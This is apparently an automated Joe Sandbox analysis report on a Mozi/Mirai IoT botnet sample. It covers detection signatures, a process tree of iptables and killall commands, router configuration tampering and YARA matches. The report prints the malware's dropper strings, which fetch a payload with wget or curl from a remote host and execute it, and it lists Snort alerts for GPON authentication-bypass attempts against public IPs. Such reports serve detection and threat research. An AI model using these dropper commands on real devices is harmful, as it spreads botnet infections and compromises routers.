Edit tour

Linux Analysis Report
Mozi.m.3

Overview

General Information

Sample Name:	Mozi.m.3
Analysis ID:	562113
MD5:	eec5c6c219535fba3a0492ea8118b397
SHA1:	292559e94f1c04b7d0c65d4a01bbbc5dc1ff6f21
SHA256:	12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Antivirus detection for dropped file

Sample tries to persist itself using System V runlevels

Opens /proc/net/* files useful for finding connected devices and routers

Sample tries to persist itself using /etc/profile

Connects to many ports of the same IP (likely port scanning)

Drops files in suspicious directories

Uses known network protocols on non-standard ports

Found strings indicative of a multi-platform dropper

Sample reads /proc/mounts (often used for finding a writable filesystem)

Terminates several processes with shell command 'killall'

Writes ELF files to disk

Yara signature match

Writes shell script files to disk

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Writes HTML files containing JavaScript to disk

Sample contains strings that are potentially command strings

Sample contains strings indicative of password brute-forcing capabilities

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	562113
Start date:	28.01.2022
Start time:	13:56:42
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Mozi.m.3
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.spre.troj.evad.lin3@0/486@5/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://%s:%d/Mozi.m;$

Runtime Messages

Command:	/tmp/Mozi.m.3
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	telnetd: no process found utelnetd: no process found scfgmgr: no process found Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 /bin/sh: 1: cfgtool: not found /bin/sh: 1: cfgtool: not found Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 Unsupported ioctl: cmd=0xffffffff80045705 qemu: uncaught target signal 4 (Illegal instruction) - core dumped Unsupported ioctl: cmd=0xffffffff80045705

Process Tree

system is lnxubuntu20

Mozi.m.3 (PID: 5220, Parent: 5118, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Mozi.m.3

Mozi.m.3 New Fork (PID: 5222, Parent: 5220)

Mozi.m.3 New Fork (PID: 5224, Parent: 5222)

Mozi.m.3 New Fork (PID: 5226, Parent: 5224)

sh (PID: 5226, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "killall -9 telnetd utelnetd scfgmgr"

sh New Fork (PID: 5229, Parent: 5226)

killall (PID: 5229, Parent: 5226, MD5: cd2adedbee501869ac691b88af39cd8b) Arguments: killall -9 telnetd utelnetd scfgmgr

Mozi.m.3 New Fork (PID: 5230, Parent: 5224)

Mozi.m.3 New Fork (PID: 5232, Parent: 5224)

Mozi.m.3 New Fork (PID: 5234, Parent: 5224)

Mozi.m.3 New Fork (PID: 5251, Parent: 5234)

sh (PID: 5251, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 41039 -j ACCEPT"

sh New Fork (PID: 5255, Parent: 5251)

iptables (PID: 5255, Parent: 5251, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5260, Parent: 5234)

sh (PID: 5260, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 41039 -j ACCEPT"

sh New Fork (PID: 5262, Parent: 5260)

iptables (PID: 5262, Parent: 5260, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5263, Parent: 5234)

sh (PID: 5263, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 41039 -j ACCEPT"

sh New Fork (PID: 5265, Parent: 5263)

iptables (PID: 5265, Parent: 5263, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p tcp --destination-port 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5268, Parent: 5234)

sh (PID: 5268, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 41039 -j ACCEPT"

sh New Fork (PID: 5270, Parent: 5268)

iptables (PID: 5270, Parent: 5268, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p tcp --source-port 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5271, Parent: 5234)

sh (PID: 5271, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 41039 -j ACCEPT"

sh New Fork (PID: 5273, Parent: 5271)

iptables (PID: 5273, Parent: 5271, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5274, Parent: 5234)

sh (PID: 5274, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 41039 -j ACCEPT"

sh New Fork (PID: 5276, Parent: 5274)

iptables (PID: 5276, Parent: 5274, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5277, Parent: 5234)

sh (PID: 5277, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p tcp --dport 41039 -j ACCEPT"

sh New Fork (PID: 5279, Parent: 5277)

iptables (PID: 5279, Parent: 5277, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p tcp --dport 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5280, Parent: 5234)

sh (PID: 5280, Parent: 5234, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 41039 -j ACCEPT"

sh New Fork (PID: 5282, Parent: 5280)

iptables (PID: 5282, Parent: 5280, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p tcp --sport 41039 -j ACCEPT

Mozi.m.3 New Fork (PID: 5238, Parent: 5224)

Mozi.m.3 New Fork (PID: 5242, Parent: 5224)

Mozi.m.3 New Fork (PID: 5249, Parent: 5224)

Mozi.m.3 New Fork (PID: 5285, Parent: 5224)

sh (PID: 5285, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"

sh New Fork (PID: 5287, Parent: 5285)

iptables (PID: 5287, Parent: 5285, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 58000 -j DROP

Mozi.m.3 New Fork (PID: 5288, Parent: 5224)

sh (PID: 5288, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"

sh New Fork (PID: 5290, Parent: 5288)

iptables (PID: 5290, Parent: 5288, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 58000 -j DROP

Mozi.m.3 New Fork (PID: 5291, Parent: 5224)

sh (PID: 5291, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"

sh New Fork (PID: 5293, Parent: 5291)

iptables (PID: 5293, Parent: 5291, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 58000 -j DROP

Mozi.m.3 New Fork (PID: 5294, Parent: 5224)

sh (PID: 5294, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"

sh New Fork (PID: 5296, Parent: 5294)

iptables (PID: 5296, Parent: 5294, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 58000 -j DROP

Mozi.m.3 New Fork (PID: 5297, Parent: 5224)

sh (PID: 5297, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""

Mozi.m.3 New Fork (PID: 5299, Parent: 5224)

sh (PID: 5299, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""

Mozi.m.3 New Fork (PID: 5301, Parent: 5224)

sh (PID: 5301, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"

sh New Fork (PID: 5303, Parent: 5301)

iptables (PID: 5303, Parent: 5301, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 35000 -j DROP

Mozi.m.3 New Fork (PID: 5304, Parent: 5224)

sh (PID: 5304, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"

sh New Fork (PID: 5306, Parent: 5304)

iptables (PID: 5306, Parent: 5304, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 50023 -j DROP

Mozi.m.3 New Fork (PID: 5307, Parent: 5224)

sh (PID: 5307, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"

sh New Fork (PID: 5309, Parent: 5307)

iptables (PID: 5309, Parent: 5307, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 50023 -j DROP

Mozi.m.3 New Fork (PID: 5310, Parent: 5224)

sh (PID: 5310, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"

sh New Fork (PID: 5312, Parent: 5310)

iptables (PID: 5312, Parent: 5310, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 35000 -j DROP

Mozi.m.3 New Fork (PID: 5313, Parent: 5224)

sh (PID: 5313, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"

sh New Fork (PID: 5315, Parent: 5313)

iptables (PID: 5315, Parent: 5313, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --destination-port 7547 -j DROP

Mozi.m.3 New Fork (PID: 5316, Parent: 5224)

sh (PID: 5316, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"

sh New Fork (PID: 5318, Parent: 5316)

iptables (PID: 5318, Parent: 5316, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --source-port 7547 -j DROP

Mozi.m.3 New Fork (PID: 5319, Parent: 5224)

sh (PID: 5319, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"

sh New Fork (PID: 5321, Parent: 5319)

iptables (PID: 5321, Parent: 5319, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 35000 -j DROP

Mozi.m.3 New Fork (PID: 5322, Parent: 5224)

sh (PID: 5322, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"

sh New Fork (PID: 5324, Parent: 5322)

iptables (PID: 5324, Parent: 5322, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 50023 -j DROP

Mozi.m.3 New Fork (PID: 5325, Parent: 5224)

sh (PID: 5325, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"

sh New Fork (PID: 5327, Parent: 5325)

iptables (PID: 5327, Parent: 5325, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 50023 -j DROP

Mozi.m.3 New Fork (PID: 5328, Parent: 5224)

sh (PID: 5328, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"

sh New Fork (PID: 5330, Parent: 5328)

iptables (PID: 5330, Parent: 5328, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 35000 -j DROP

Mozi.m.3 New Fork (PID: 5332, Parent: 5224)

sh (PID: 5332, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"

sh New Fork (PID: 5334, Parent: 5332)

iptables (PID: 5334, Parent: 5332, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p tcp --dport 7547 -j DROP

Mozi.m.3 New Fork (PID: 5335, Parent: 5224)

sh (PID: 5335, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"

sh New Fork (PID: 5337, Parent: 5335)

iptables (PID: 5337, Parent: 5335, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p tcp --sport 7547 -j DROP

Mozi.m.3 New Fork (PID: 5347, Parent: 5224)

sh (PID: 5347, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p udp --destination-port 4000 -j ACCEPT"

sh New Fork (PID: 5349, Parent: 5347)

iptables (PID: 5349, Parent: 5347, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p udp --destination-port 4000 -j ACCEPT

Mozi.m.3 New Fork (PID: 5350, Parent: 5224)

sh (PID: 5350, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p udp --source-port 4000 -j ACCEPT"

sh New Fork (PID: 5352, Parent: 5350)

iptables (PID: 5352, Parent: 5350, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p udp --source-port 4000 -j ACCEPT

Mozi.m.3 New Fork (PID: 5353, Parent: 5224)

sh (PID: 5353, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 4000 -j ACCEPT"

sh New Fork (PID: 5355, Parent: 5353)

iptables (PID: 5355, Parent: 5353, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p udp --destination-port 4000 -j ACCEPT

Mozi.m.3 New Fork (PID: 5356, Parent: 5224)

sh (PID: 5356, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 4000 -j ACCEPT"

sh New Fork (PID: 5358, Parent: 5356)

iptables (PID: 5358, Parent: 5356, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p udp --source-port 4000 -j ACCEPT

Mozi.m.3 New Fork (PID: 5359, Parent: 5224)

sh (PID: 5359, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I INPUT -p udp --dport 4000 -j ACCEPT"

sh New Fork (PID: 5361, Parent: 5359)

iptables (PID: 5361, Parent: 5359, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I INPUT -p udp --dport 4000 -j ACCEPT

Mozi.m.3 New Fork (PID: 5362, Parent: 5224)

sh (PID: 5362, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I OUTPUT -p udp --sport 4000 -j ACCEPT"

sh New Fork (PID: 5364, Parent: 5362)

iptables (PID: 5364, Parent: 5362, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I OUTPUT -p udp --sport 4000 -j ACCEPT

Mozi.m.3 New Fork (PID: 5365, Parent: 5224)

sh (PID: 5365, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I PREROUTING -t nat -p udp --dport 4000 -j ACCEPT"

sh New Fork (PID: 5367, Parent: 5365)

iptables (PID: 5367, Parent: 5365, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I PREROUTING -t nat -p udp --dport 4000 -j ACCEPT

Mozi.m.3 New Fork (PID: 5368, Parent: 5224)

sh (PID: 5368, Parent: 5224, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "iptables -I POSTROUTING -t nat -p udp --sport 4000 -j ACCEPT"

sh New Fork (PID: 5370, Parent: 5368)

iptables (PID: 5370, Parent: 5368, MD5: 1ab05fef765b6342cdfadaa5275b33af) Arguments: iptables -I POSTROUTING -t nat -p udp --sport 4000 -j ACCEPT

cleanup

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
Mozi.m.3	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x37450:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x374c0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37530:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x375a0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37610:$xo1: oMXKNNC\x0D\x17\x0C\x12
Mozi.m.3	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Mozi.m.3	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Mozi.m.3	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Mozi.m.3	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
/usr/networks	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x37450:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x374c0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37530:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x375a0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37610:$xo1: oMXKNNC\x0D\x17\x0C\x12
/usr/networks	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
/usr/networks	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5222.1.0000000078984474.00000000a6149ca3.rw-.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5220.1.0000000078984474.00000000a6149ca3.rw-.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5220.1.00000000de7858ea.00000000135d740d.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x37450:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x374c0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37530:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x375a0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37610:$xo1: oMXKNNC\x0D\x17\x0C\x12
5220.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5220.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5220.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5222.1.00000000de7858ea.00000000135d740d.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x37450:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x374c0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37530:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x375a0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37610:$xo1: oMXKNNC\x0D\x17\x0C\x12
5222.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5222.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5222.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5242.1.0000000078984474.00000000a6149ca3.rw-.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5242.1.00000000de7858ea.00000000135d740d.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x37450:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x374c0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37530:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x375a0:$xo1: oMXKNNC\x0D\x17\x0C\x12 0x37610:$xo1: oMXKNNC\x0D\x17\x0C\x12
5242.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5242.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5242.1.00000000de7858ea.00000000135d740d.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.3 PID: 5220	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.3 PID: 5220	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.3 PID: 5222	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.3 PID: 5222	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Click to see the 14 entries

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Mozi.m.3

Avira: detected

Multi AV Scanner detection for submitted file

Source: Mozi.m.3	Virustotal: Detection: 65%	Perma Link
Source: Mozi.m.3	Metadefender: Detection: 68%	Perma Link
Source: Mozi.m.3	ReversingLabs: Detection: 75%

Antivirus detection for dropped file

Source: /usr/networks

Avira: detection malicious, Label: LINUX/Mirai.lldau

Spreading

Opens /proc/net/* files useful for finding connected devices and routers

Source: /tmp/Mozi.m.3 (PID: 5234)	Opens: /proc/net/route			Jump to behavior
Source: /tmp/Mozi.m.3 (PID: 5234)	Opens: /proc/net/route			Jump to behavior

Found strings indicative of a multi-platform dropper

Source: Mozi.m.3	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Mozi.m.3	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Mozi.m.3	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: networks.12.dr	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: networks.12.dr	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: networks.12.dr	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:47852 -> 201.49.46.204:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:47852 -> 201.49.46.204:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:41138 -> 176.32.230.19:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:41138 -> 176.32.230.19:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:37034 -> 173.249.33.238:80
Source: Traffic	Snort IDS: 2027063 ET EXPLOIT Outbound GPON Authentication Bypass Attempt (CVE-2018-10561) 192.168.2.23:37034 -> 173.249.33.238:80
Source: Traffic	Snort IDS: 2025576 ET EXPLOIT HackingTrio UA (Hello, World) 192.168.2.23:33768 -> 201.20.107.209:8080
